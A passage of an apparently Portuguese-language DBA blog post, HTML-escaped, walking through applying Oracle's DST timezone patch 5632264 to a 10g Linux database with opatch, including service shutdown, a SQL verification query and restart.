your systems.&lt;br /&gt;&lt;br /&gt;Eu preciso do patch?&lt;br /&gt;Resposta curta é &lt;span style="font-weight: bold;"&gt;SIM!&lt;/span&gt; ...&lt;br /&gt;&lt;br /&gt;Então decidimos pelo lado prudente da vida: aplicar em todas as bases. E dizem que paraquedismo é esporte-radical - vai ser DBA para ver o que é emoção ;-) Ok, mãos a obra que no banco aqui de casa eu ainda não apliquei o patch.&lt;br /&gt;&lt;br /&gt;Metalink, nota &lt;span style="font-family:helvetica;"&gt;&lt;strong&gt;359145.1&lt;/strong&gt;&lt;/span&gt; tem uma matriz com o número do patch para cada versão e plataforma. No meu caso, Linux o tamanho do patch 72k. Vejamos como está meu banco.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin patches]$ $ORACLE_HOME/OPatch/opatch lsinventory&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Invoking OPatch 10.2.0.2.0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Oracle interim Patch Installer version 10.2.0.2.0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copyright (c) 2005, Oracle Corporation.  All rights reserved..&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Oracle Home       : /oracle/10g&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Central Inventory : /oracle/oraInventory&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   from           : /oracle/10g/oraInst.loc&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;OPatch version    : 10.2.0.2.0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;OUI version       : 10.2.0.2.0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;OUI location      : /oracle/10g/oui&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Log file location : /oracle/10g/cfgtoollogs/opatch/opatch-2007_Feb_28_22-10-21-BRT_Wed.log&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Lsinventory Output file location : /oracle/10g/cfgtoollogs/opatch/lsinv/lsinventory-2007_Feb_28_22-10-21-BRT_Wed.txt&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;--------------------------------------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Installed Top-level Products (2):&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Oracle Database 10g                                                  10.2.0.1.0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Oracle Database 10g Release 2 Patch Set 1                            10.2.0.2.0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;There are 2 products installed in this Oracle Home.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;There are no Interim patches installed in this Oracle Home.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;--------------------------------------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;OPatch succeeded.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin patches]$ sqlplus / as sysdba&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;SQL*Plus: Release 10.2.0.2.0 - Production on Wed Feb 28 22:11:30 2007&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copyright (c) 1982, 2005, Oracle.  All Rights Reserved.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Connected to:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Oracle Database 10g Enterprise Edition Release 10.2.0.2.0 - Production&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;With the Partitioning, OLAP and Data Mining options&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;sys@LX10G&gt; select case to_number(to_char(to_timestamp_tz&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  2         ('20070311 00:00:00 US/EASTERN','YYYYMMDD HH24:MI:SS TZR')&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  3           + to_dsinterval('0 08:00:00'),'HH24'))&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  4         when 8 then 'The patch has not been applied'&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  5         when 9 then 'The patch has been applied correctly'&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  6         else 'Error' end "TZTEST (RUN FROM DB HOME)"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  7    from dual;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;TZTEST (RUN FROM DB HOME)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;The patch has not been applied&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;1 row selected.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Portanto, meu banco está desatualizado com relação ao patch do DST. Gostaria de chamar a atenção para o OPatch, ele precisa estar presente e seu Inventory deve estar consistente porque a aplicação do patch depende do OPatch. A partir deste ponto, vou copiar todos os passos que fiz para a aplicação do patch.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin patches]$ sqlplus / as sysdba&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;SQL*Plus: Release 10.2.0.2.0 - Production on Wed Feb 28 22:14:16 2007&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copyright (c) 1982, 2005, Oracle.  All Rights Reserved.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Connected to:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Oracle Database 10g Enterprise Edition Release 10.2.0.2.0 - Production&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;With the Partitioning, OLAP and Data Mining options&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;sys@LX10G&gt; shutdown immediate&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Database closed.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Database dismounted.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ORACLE instance shut down.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;sys@LX10G&gt; exit&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Disconnected from Oracle Database 10g Enterprise Edition Release 10.2.0.2.0 - Production&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;With the Partitioning, OLAP and Data Mining options&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin patches]$ export ORACLE_SID=+ASM&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin patches]$ sqlplus / as sysdba&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;SQL*Plus: Release 10.2.0.2.0 - Production on Wed Feb 28 22:14:50 2007&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copyright (c) 1982, 2005, Oracle.  All Rights Reserved.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Connected to:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Oracle Database 10g Enterprise Edition Release 10.2.0.2.0 - Production&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;With the Partitioning, OLAP and Data Mining options&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;idle&gt; shutdown&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ASM diskgroups dismounted&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ASM instance shutdown&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;idle&gt; exit&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Disconnected from Oracle Database 10g Enterprise Edition Release 10.2.0.2.0 - Production&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;With the Partitioning, OLAP and Data Mining options&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin patches]$ lsnrctl stop&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;LSNRCTL for Linux: Version 10.2.0.2.0 - Production on 28-FEB-2007 22:15:05&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copyright (c) 1991, 2005, Oracle.  All rights reserved.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=anakin.mportes.local)(PORT=1521)))&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;The command completed successfully&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin patches]$ /oracle/http/opmn/bin/opmnctl stopall&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;opmnctl: stopping opmn and all managed processes...&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin patches]$&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin patches]$&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin patches]$ ps -fu oracle&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;UID        PID  PPID  C STIME TTY          TIME CMD&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;oracle    4801  3716  0 Feb27 ?        00:00:00 /oracle/10g/bin/ocssd.bin&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;oracle    8868  8865  0 21:04 pts/1    00:00:00 -bash&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;oracle    9329  8868  0 22:15 pts/1    00:00:00 ps -fu oracle&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[marcio@anakin init.d]$ su -&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Password:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[root@anakin ~]#&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[root@anakin ~]# cd /etc/init.d/&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[root@anakin init.d]# ./init.cssd stop&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Stopping CSSD.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Shutting down CSS daemon.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Shutdown request successfully issued.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Shutdown has begun. The daemons should exit soon.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[root@anakin init.d]# exit&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;logout&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin patches]$ ps -fu oracle&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;UID        PID  PPID  C STIME TTY          TIME CMD&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;oracle    8868  8865  0 21:04 pts/1    00:00:00 -bash&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;oracle    9550  8868  0 22:17 pts/1    00:00:00 ps -fu oracle&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Ok, nenhum serviço oracle no ar. Isso é importante para a aplicação do patch.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin patches]$ ll -tr&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;total 84&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-rw-r--r--  1 oracle dba   360 Feb 28 21:06 test_patch.sql&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-rw-r--r--  1 oracle dba 73788 Feb 28 22:21 p5632264_10202_LINUX.zip&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin patches]$ unzip p5632264_10202_LINUX.zip&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Archive:  p5632264_10202_LINUX.zip&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   creating: 5632264/&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   creating: 5632264/files/&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   creating: 5632264/files/oracore/&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   creating: 5632264/files/oracore/zoneinfo/&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5632264/files/oracore/zoneinfo/timezone.dat&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5632264/files/oracore/zoneinfo/timezlrg.dat&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5632264/files/oracore/zoneinfo/readme.txt&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   creating: 5632264/etc/&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   creating: 5632264/etc/config/&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5632264/etc/config/inventory&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5632264/etc/config/actions&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   creating: 5632264/etc/xml/&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5632264/etc/xml/GenericActions.xml&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5632264/etc/xml/ShiphomeDirectoryStructure.xml&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5632264/README.txt&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin patches]$ cd 5632264/&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin 5632264]$ &lt;span style="font-weight: bold;"&gt;$ORACLE_HOME/OPatch/opatch apply&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Invoking OPatch 10.2.0.2.0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Oracle interim Patch Installer version 10.2.0.2.0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copyright (c) 2005, Oracle Corporation.  All rights reserved..&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Oracle Home       : /oracle/10g&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Central Inventory : /oracle/oraInventory&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   from           : /oracle/10g/oraInst.loc&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;OPatch version    : 10.2.0.2.0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;OUI version       : 10.2.0.2.0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;OUI location      : /oracle/10g/oui&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Log file location : /oracle/10g/cfgtoollogs/opatch/opatch-2007_Feb_28_22-21-36-BRT_Wed.log&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ApplySession applying interim patch '5632264' to OH '/oracle/10g'&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;OPatch detected non-cluster Oracle Home from the inventory and will patch the local system only.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Please shutdown Oracle instances running out of this ORACLE_HOME on the local system.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(Oracle Home = '/oracle/10g')&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Is the local system ready for patching?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Do you want to proceed? [y|n]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;y&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;User Responded with: Y&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Backing up files and inventory (not for auto-rollback) for the Oracle Home&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Backing up files affected by the patch '5632264' for restore. This might take a while...&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Backing up files affected by the patch '5632264' for rollback. This might take a while...&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Patching component oracle.oracore.rsf, 10.2.0.2.0...&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/oracore/zoneinfo/timezone.dat"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/oracore/zoneinfo/timezlrg.dat"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copying file to "/oracle/10g/oracore/zoneinfo/readme.txt"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ApplySession adding interim patch '5632264' to inventory&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Verifying the update...&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Inventory check OK: Patch ID 5632264 is registered in Oracle Home inventory with proper meta-data.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Files check OK: Files from Patch ID 5632264 are present in Oracle Home.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;The local system has been patched and can be restarted.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;OPatch succeeded.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin 5632264]$ $ORACLE_HOME/OPatch/opatch lsinventory&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Invoking OPatch 10.2.0.2.0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Oracle interim Patch Installer version 10.2.0.2.0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copyright (c) 2005, Oracle Corporation.  All rights reserved..&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Oracle Home       : /oracle/10g&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Central Inventory : /oracle/oraInventory&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   from           : /oracle/10g/oraInst.loc&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;OPatch version    : 10.2.0.2.0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;OUI version       : 10.2.0.2.0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;OUI location      : /oracle/10g/oui&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Log file location : /oracle/10g/cfgtoollogs/opatch/opatch-2007_Feb_28_22-21-59-BRT_Wed.log&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Lsinventory Output file location : /oracle/10g/cfgtoollogs/opatch/lsinv/lsinventory-2007_Feb_28_22-21-59-BRT_Wed.txt&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;--------------------------------------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Installed Top-level Products (2):&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Oracle Database 10g                                                  10.2.0.1.0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Oracle Database 10g Release 2 Patch Set 1                            10.2.0.2.0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;There are 2 products installed in this Oracle Home.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Interim patches (1) :&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;Patch  5632264      : applied on Wed Feb 28 22:21:44 BRT 2007&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;   Created on 14 Feb 2007, 21:37:17 hrs US/Pacific&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;   Bugs fixed:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;     5632264&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;--------------------------------------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;OPatch succeeded.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin 5632264]$ su -&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Password:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[root@anakin ~]# cd /etc/init.d/&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[root@anakin init.d]# ./init.cssd start&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Startup will be queued to init within 90 seconds.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[root@anakin init.d]# exit&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;logout&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin 5632264]$ &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin 5632264]$ ps -fu oracle&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;UID        PID  PPID  C STIME TTY          TIME CMD&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;oracle    8868  8865  0 21:04 pts/1    00:00:00 -bash&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;oracle   10041  9500  0 22:23 ?        00:00:00 /oracle/10g/bin/ocssd.bin&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;oracle   10083  8868  0 22:25 pts/1    00:00:00 ps -fu oracle&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin 5632264]$ export ORACLE_SID=+ASM&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin 5632264]$ sqlplus / as sysdba&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;SQL*Plus: Release 10.2.0.2.0 - Production on Wed Feb 28 22:26:28 2007&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copyright (c) 1982, 2005, Oracle.  All Rights Reserved.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Connected to an idle instance.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;idle&gt; startup&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ASM instance started&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Total System Global Area      83886080 bytes&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Fixed Size                     1259264 bytes&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Variable Size                 57460992 bytes&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ASM Cache                     25165824 bytes&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ASM diskgroups mounted&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;idle&gt; exit&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Disconnected from Oracle Database 10g Enterprise Edition Release 10.2.0.2.0 - Production&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;With the Partitioning, OLAP and Data Mining options&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin 5632264]$ export ORACLE_SID=lx10g&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin 5632264]$ sqlplus / as sysdba&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;SQL*Plus: Release 10.2.0.2.0 - Production on Wed Feb 28 22:26:48 2007&lt;/span&gt;&lt;br /&gt;&lt;br 